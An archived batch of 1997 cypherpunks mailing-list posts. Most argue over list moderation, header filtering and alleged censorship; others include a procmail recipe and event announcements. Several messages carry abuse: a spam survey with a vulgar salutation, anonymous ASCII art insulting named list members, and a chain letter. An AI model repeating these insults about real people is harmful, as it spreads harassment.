Date: Fri, 7 Feb 1997 08:37:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Appointment Verification
Message-ID: <19970208012523047.AFY168@[207.105.167.194]>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,



We would like to ask for your help with a survey for a service bureau we are
considering developing software for in voice communications.

This software will be used to remind patients of their upcoming
appointments, allow them to confirm or reschedule. After confirming
which patients will not be able to make their appointment the system will
contact all individuals that are on a waiting list to schedule them for open 
time slots.....

For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film 
and a 35 mm camera. NO ONE WIll CALL YOU!

1. Do you feel doctors would use a service which calls patients 
for them using a personalized Voice system reminding them of 
their appointments? 

____yes   ____NO


2. How important do you feel it is to doctors to eliminate the drudgery of
staff calling patients reminding them of appointments.

not important		______
somewhat important	______
Very important		______

3. What's do you feel would be a fair price or doctors would be willing to pay for such a service?

100-$200 per month	_____
200-$300 per month	_____
300- $400 per month	_____

Other		____________

Please email your answers to advance@ns.net

If you have any suggestions on any additional automated voice service you would like to see
someone develop please let us know. Thanks again for your participation.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 14:55:16 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: faulty moderation software: duplicate messages
In-Reply-To: <199702071941.LAA29273@toad.com>
Message-ID: <Pine.LNX.3.95.970207175220.1844A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

All messages with "Sender: owner-cypherpunks-unedited@toad.com" are received
from the flames list.  The difference between the unedited and moderated lists
is that the moderated list changes the message ID, appending toad.com, and
deletes all received headers before "majordom@localhost.*by toad.com".  None
of the messages are being doubled; this is just the result of buggy software

Here's the recipe I use to filter out the three separate lists:

:0
* ^Sender: owner-cypherpunks.*@toad.com
{
	:0
	* ^Sender: owner-cypherpunks-unedited@toad.com
	flames

	:0
	* -1^1 ^Received:
	* 3^1  ^Received:.*from majordom@localhost.*by toad.com
	* ^Message-Id:.*toad.com
	in.cpunks

	:0
	unedited
}

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:07:01 -0800 (PST)
To: cypherpunks <tcmay@got.net>
Subject: faulty moderation software: duplicate messages
Message-ID: <199702071806.LAA18482@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    Virtually all list postings to the cypherpunks main list are 
    doubled; the first, which is a standard pass through with the 
    message ID of the sender, the second with the message ID of 
    toad.com.

    Obviously, the first is destined for the unedited list --which did 
    _not_ receive the message. The second has been re-IDd, which I 
    presume is your censorhip mark.

    I happen to subscribe to all three lists, even though
        
        main + flames == unedited

    is supposedly the intention, it is not. In order to divide the
    output stream from toad.com, sorting on "Sender: " is the only
    reasonable differentation (when toad's filters are working):

        Sender: owner-cypherpunks@toad.com
        Sender: owner-cypherpunks-flames@toad.com
        Sender: owner-cypherpunks-unedited@toad.com
        Sender: owner-coderpunks@toad.com

    in the case cited below, the only differentation between the 
    destinations is that the censored message has a "Message-ID: "
    from toad.com, while the one intended for unedited has a 
    "Message-ID: " not from toad.com.  was either of these 
    destinated from flames? --the main list with duplicated messages
    has contained any number of messages, including ones from the
    ASCII art series which should have gone to flames.

    so, why is the pass through message not being reliably re-headered 
    at toad.com to mark "Sender: owner-cypherpunks-unedited@toad.com"
    --but if it is, why is unedited receiving a duplicate --obviously
    the duplicate should have gone to flames. 

    BOTTOM LINE: your software is inadequate.  my neighbors' kids write 
    better filters than you have installed.


+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103
+	for <attila@primenet.com>; Fri, 7 Feb 1997 04:24:48 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from
+hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com
+(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800
+(PST) Received: from aba@p28-dove-gui.tch.virgin.net [194.168.60.88]
+by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received:
+(from aba@localhost) by server.test.net (8.6.12/8.6.12) id LAA00460;
+Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT
+Message-Id: <199702071115.LAA00460@server.test.net>
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+In-reply-to: <199702052256.OAA06322@toad.com> (message from Mark
+    Voorhees on Wed, 05 Feb 97 17:05:51 -0400)
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045;
+	Fri, 7 Feb 1997 09:00:01 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id:
+   <199702071512.HAA24892@toad.com>
+Date: Fri, 7 Feb 1997 11:15:30 GMT
+From: Adam Back <aba@dcs.ex.ac.uk>
+To: mark@infolawalert.com
+Cc: cypherpunks@toad.com, mclow@owl.csusm.edu
+Subject: Re: Deloitte-Touche?
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Remailer Administrator <mix-admin@nym.alias.net>
Date: Fri, 7 Feb 1997 10:04:26 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: WANTED: Tolerant, anonymity-friendly news admins
In-Reply-To: <Pine.LNX.3.95.970207050959.17740D-100000@dhp.com>
Message-ID: <19970207180418.28980.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Who attacked the network and for what reason?

Well, as best I can tell I've gotten caught in the crossfire of a
spam/"anti-spam" spam war.  People are forging articles through
anonymous remailers to solicit spam to non-spamming customers of
"spam-friendly" ISPs, in the hopes of driving those customers away.
In other words, a lot of articles are being posted to groups like
alt.make.money.fast with headers like:

 From: customer@isp.under.attack (My^ISP^spams^I^should^switch)

Then the spam bots collect the addresses, and send lots of mail like

 To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
 Subject: Great opportunity!!!

 My^ISP^spams^I^should^switch,

 I saw your post the other day, and have an oportunity for you that's
 so good you can't miss it...

It would be amusing if it weren't causing me hassles.  Ultimately,
however, the person doing this is clearly trying to get ISPs to set
more restrictive policies about what mail/news customers can send,
while knocking off a few anonymous remailers and mail2news gateways in
the process.

> Well, just who is cutting you off and for what reason?
> And what is their telephone number?

At issue here are a number of complicated high-level administrative
issues.  It's not just that someone is trying to pull the plug on me.
I've been asked by someone who is not the one getting the phone calls
or exerting anti-mail2news pressure if I would stop using MIT news
servers.  The reason is that that person needs to maintain good
relations with the people who are being harassed over the fogery.

I don't really want to go into details.  The point is that this
situation is a lot more subtle than whether the pro-mail2news people
can "out-harrass" the people complaining about forgeries.  Therefore,
I would sincerely appreciate it if you did not try to make any phone
calls or do anything to use up any more of these people's time.  I
fully intend to keep mail2news running, and am just trying to get more
news servers (after having lost one) to maintain reliability and
strengthen my position.

> Just what is your definition of "abuse?"

This got answered in a separate message.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Fri, 7 Feb 1997 20:36:01 -0800 (PST)
To: ericm@lne.com (Eric Murray)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702072121.NAA01093@toad.com>
Message-ID: <970207.180426.4i8.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ericm@lne.com writes:

> Damaged Justice writes:

>>    administration about this." Barring that, Denninger will lobby
>>    Internet service providers around the country, asking them not to
>>    recognize the new GTLDs. "There is no reason to support it. We will do
>>    everything in our power to convince ISPs not to go along," he says.

> If I didn't already think that Karl was an idiot, I'd sure think so after
> reading this.

Concur.  When I went after my domain name last year, I was effectively
forced into taking a .com, which was the _last_ TLD I wanted.  (first
choice was .net, but that's supposedly now only given to ISPs)  I'd
happily accept scytale.nom, especially since it's doubly cryptic.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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/XzWZBZyAG0=
=qAs2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>
Date: Fri, 7 Feb 1997 15:07:44 -0800 (PST)
Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday
Message-ID: <199702072307.SAA16605@access4.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	Ken Bass (counsel for Phil Karn)
	interviewed live on "Real Time"
***

*** Monday, Jan. 27  ***
*** 9:00 PM ET       ***

Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti,
LLP, and is the head of that firm's Appellate Practice Group.  Recently
Venable served as counsel to Phil Karn during his dispute with the
Department of State concerning export of a diskette containing the source
code for cryptographic algorithms published in the book _Applied_
_Cryptography_, having already received permission to export the book.

For the past 20 years Bass has practiced law in the Washington, D.C. 
metropolitan area, concentrating in civil litigation and appellate
advocacy. From 1977 until 1981 he left private practice to serve as the
first Counsel for Intelligence Policy at the Department of Justice. In
that position he advised the Attorney General and the White House on the
legal aspects of a variety of intelligence and national security matters. 

He also has served as a Special Master in a FOIA litigation in the
United States District Court for the District of Columbia to review code
word classified files concerning the Iran hostage rescue mission for Judge
Louis Oberdorfer. 

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://isptv.digex.net/members.html. 

See URL http://isptv.digex.net for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 15:16:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <1.5.4.32.19970207231058.006c5e4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


My version of DV's ploy came via the unedited list.

There was also a good, brief discussion about Vulis's multi-pronged
Denial of Service attack on Cypherpunks, which came unedited, along 
with other informative comments about how a technologically adept 
attacker singles out a quarry amongst a lumbering, slumbering, cud-
chewing herd. Quite beastly cryptoanarchistic.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:23:48 -0800 (PST)
To: "Timothy C. May" <sandfort@crl.com>
Subject: censorship and headers/example of ascii art which passed filters
Message-ID: <199702071823.LAA19320@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
+sirius.infonex.com (root@sirius.infonex.com [206.170.114.2]) by
+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

+Dickhead Vermin K[ondom]OTM has been a source of endless
+embarassments to his sympathizers on and off the net.
+       _  O     O  _
+        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
+         /^\   /^\
+        ^^ ^^ ^^ ^^

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: foolswisdom@juno.com (My Account)
Date: Fri, 7 Feb 1997 15:37:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970207.171809.3110.0.foolswisdom@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                 
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                  !!!!!!!!!!!!!!!!        
IIIIIIIIIIIIIII                                            TTTTTTTT      
                            !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII     
                                      TTTTTTTT                           
       !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                          
                 TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                      
                     TTTTTTTT                                  
!!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                                 
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    IIIIIIIIIIIIIII                                            TTTTTTTT  
                                !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII 
                                          TTTTTTTT                       
           IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                          
     TTTTTTTT                                  
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII                     
          TTTTTTTT                                   !!!!!!!!!!!!!!!!    
    
***************************************************************************************	
                 ***  TAG,   YOU' RE   IT   !!!!!!  ***
***************************************************************************************You
have been a victim in The Great E-mail Game of Tag!  There are no
tagbacks, and you must send this to someone else to rid yourself of being
it!Send this to friends, classmates, co-workers, famous people, jerks,
orfools.  Send another copy to other people to start your own game!  
Just remember to have fun!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 16:10:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <v03007804af2160f848b5@[207.167.93.63]>
Message-ID: <199702071813.SAA16692@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007804af2160f848b5@[207.167.93.63]>, on 02/07/97 at 05:03 PM,
   "Timothy C. May" <tcmay@got.net> said:


>I'm also neither stupid nor disingenuous. I realize full well that Vulis
>probably made the claim because he knows Sandy works for the seller of
>Stronghold. Be that as it may, it is not proper for a censor employed by the
>seller of a product to decide that criticisms of his product are flamish. Would
>the list have countenanced censorship of criticisms of an RSADSI product if the
>list were being censored by an employee of RSADSI? And by letting Vulis make
>such a claim, and then having it quickly rebutted by other employees of C2Net,
>for example, Vulis would be shown to be spreading disinformation and his
>reputation capital would decline still further.

I had posted to the list earlier about the problem of moderation & reputation
capital.

I beleive that the moderation of a group has a negitive affect on building a
reputation based system within the group.

If all the spam & flames are filtered out from the list and we only see the
"good" side of the posters then they will tend to gain greater reputation
capital then they deserve.

I do find the accusation that Sandy blocked the posting of a message critizing
the company he works for rather troubling. Though there are several
possibilities:

1 - It is just more FUD.

2 - Snafu. As I am sure everyone here is aware of that this happend more often
    than not with computer system.

3 - It's true. This would be realy sad and probably do irreparable harm to
    Sandy's reputation.

I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on
the cypherpunks list. :(




- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I smashed a Window and saw... OS/2.

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Tag-O-Matic: Windows?  WINDOWS?!?  Hahahahahehehehehohohoho...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 10:29:56 -0800 (PST)
To: cypherpunks <antimod@nym.alias.net>
Subject: Re: Which list am I on?
In-Reply-To: <19970207093042.7371.qmail@anon.lcs.mit.edu>
Message-ID: <199702071829.LAA19644@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    antimod (nym):

    no way to tell what list your receiving from; the software Sandy 
    and John installed to facilitate their un-American activities is 
    hosed.  in most cases it fails to apply the correct sender name,
    defaulting to the main, supposedly censored list.

        -attila

on or about 970207:0930 Against Moderation <antimod@nym.alias.net> said:

+I thought I was on the cypherpunks edited list.  However, I appear to
+have seen some of the messages that Tim says got lost.  Moreover, I
+keep getting ASCII art messages flaming someone with the initials DLV
+(though I haven't seen any more of the TCM flames [I haven't looked too
+hard, either]).  My mail headers have:

+>From cypherpunks-errors@toad.com  <date>
+>Sender: owner-cypherpunks@toad.com

+Now I'm really confused.  Which list am I on?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz
UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n
FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy
t9jLSuDKWEE=
=s+Wc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 18:28:55 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
In-Reply-To: <v03007804af2160f848b5@[207.167.93.63]>
Message-ID: <32FBE498.B89@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 10:07 PM +0000 2/7/97, Against Moderation wrote:
> >Okay, I went through my old mail, and I'm fairly sure this is the
> >message.  I'm convinced it never went to the flames list, and now that
> >I've found out I'm on the -unedited list after all, I think it
> >probably didn't go to the regular cypherpunks list either.  Can people
> >on the various lists confirm this for me?

> >A lot of people out there are subscribing to the cypherpunks-flames
> >and cypherpunks lists thinking that they will see everything that gets
> >rejected (albeit with a substantial delay).  If this is not the case,
> >it should be made clear.  Otherwise, it's not moderation, but
> >dishonesty.

Normally I'd address just the list, but in this case I'm sure you'll
understand.  Check the archives of Sandy's moderation announcements,
and I believe you'll see where he claimed that although *all* messages
would make it to the -unedited list, he admitted that some of those
would not make it to either the -edited or -flames lists, due to the
anomalies of hand-editing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hanabusa@bnn-net.or.jp (Sh.Hanabusa)
Date: Fri, 7 Feb 1997 18:39:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dear Cypherpunks /from NHK Clew
Message-ID: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP>
MIME-Version: 1.0
Content-Type: text/plain


Dear Cypherpunks,

We are a film crew from NHK, Japanese Public Television (Japan's largest
TV network). As you may have all seen the announcement posting, we would
 like to attend tomorrow's CP physical meeting for filming.

We consider the "Crypto War" you are all fighting, not only a U.S domestic
issue. It is a historic process which would effect the basic order/system
of the global network society for the 21st century.

In the midst of the ongoing changes of the idea of how a nation, a corporation
and an individual ought to be, we would like to portray your assertions and
proposals through the discussions of tomorrow's CP meeting, demonstrations,
speeches and booings(just kidding..).

We assure you all that we will do our best not be of your distractions.
(I know you won't, but) I hope you don't show up with a tie and a three
piece suit just because you'll be on TV...  ;-)

We look forward to the usual (or perhaps more than ever) Cypherpunkish
meeting tomorrow!


   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/Special Programs 
     NHK Enterprises 21 Inc. 
     Location: San Mateo/Carifornia
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 7 Feb 1997 19:07:31 -0800 (PST)
To: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Subject: Re: Dear Cypherpunks /from NHK Clew
In-Reply-To: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP>
Message-ID: <32FBED8F.15FD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry I can't drive the 500 miles to the meeting, but in Los
Angeles, the USA's #2 city, there are NO meetings.  Sad but true.
People in Los Angeles just don't comply with censorship as well
as those in the Bay Area, apparently.

Anyway, please don't base the whole story on what goes on at the
meeting, since the people who show up at the meeting are the ones
who most agree with John and Sandy.  Do you know what I mean?

There's an assumption in the USA, which even the cypherpunks share,
that the rogue elements of the government are to be considered
"innocent until proven guilty", even after the fact when they are
caught and never prosecuted.  Someday, when we have enough research
data on this current series of events, we will be able to expose the
money trail which demonstrates the motivations of the "list" owners.
In the meantime, I trust you'll not be taken in by the sweet-talk
you'll get in San Francisco.

Sh.Hanabusa wrote:
> We are a film crew from NHK, Japanese Public Television (Japan's largest
> TV network). As you may have all seen the announcement posting, we would
>  like to attend tomorrow's CP physical meeting for filming.
> We consider the "Crypto War" you are all fighting, not only a U.S domestic
> issue. It is a historic process which would effect the basic order/system
> of the global network society for the 21st century.
> In the midst of the ongoing changes of the idea of how a nation, a corporation
> and an individual ought to be, we would like to portray your assertions and
> proposals through the discussions of tomorrow's CP meeting, demonstrations,
> speeches and booings(just kidding..).
> We assure you all that we will do our best not be of your distractions.
> (I know you won't, but) I hope you don't show up with a tie and a three
> piece suit just because you'll be on TV...  ;-)
> We look forward to the usual (or perhaps more than ever) Cypherpunkish
> meeting tomorrow!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 7 Feb 1997 19:11:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] Hash functions
Message-ID: <199702080311.TAA26235@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. Mayo's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists into 
which it is cross-ruminated.

        o      o o o   o
       /~>    <><><>   <> Timothy C. Mayo
    o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 7 Feb 1997 17:17:26 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Sandy suppresses truth about his moderation policy
Message-ID: <199702080114.TAA06881@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Below are some interesting facts implying that:

1) Sandy uses a bot to reject articles of people he does not like
2) When I exposed him with an article showing all Received: dates, 
he
	a) rejected the article exposing him
and
	b) changed his moderation software so that Received: headers
	   for the cypherpunks-flames do not show the times when 
	   messages came in

3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and
yet he rejects my message quoting same article. I question how genuine were
his apologies to Tim.

At this point, I have enough data to conclude that 

	* Sandy is not a good moderator
	* Sandy does not have the interests of his readership in his mind
	* Sandy should not be trusted

At this point, two events are likely to happen: either moderation ceases,
or Sandy and John will pull the plug on the unedited and flames list.

	- Igor.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Note that there are no more incoming Received: lines in the message
that went to flames, BUT yesterday the received lines were there.
Note also that my address (From: line) has been rewritten in such
a way that my name disappeared. I believe that the latter is due to
a sloppy perl script that got screwed up by presence of "@" character
in my name.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Received: (from geek@localhost) by manifold.algebra.com (8.8.3/8.8.2) id SAA06751 for ichudov; Fri, 7 Feb 1997 18:57:04 -0600
Received: (from root@localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id JAA03038 for geek+test+cypherpunks-flames@algebra.com; Fri, 7 Feb 1997 09:12:23 -0600
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Message-Id: <199702071511.HAA24873@toad.com>
Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST)
From: ichudov@algebra.com
To: Cypherpunks <cypherpunks@toad.com>, tcmay@got.net
Subject: Re: anonymous remailers
Sender: geek@algebra.com
Precedence: bulk
Status: RO

[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	via UUCP; Thu, 06 Feb 97 22:24:48 EST
	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
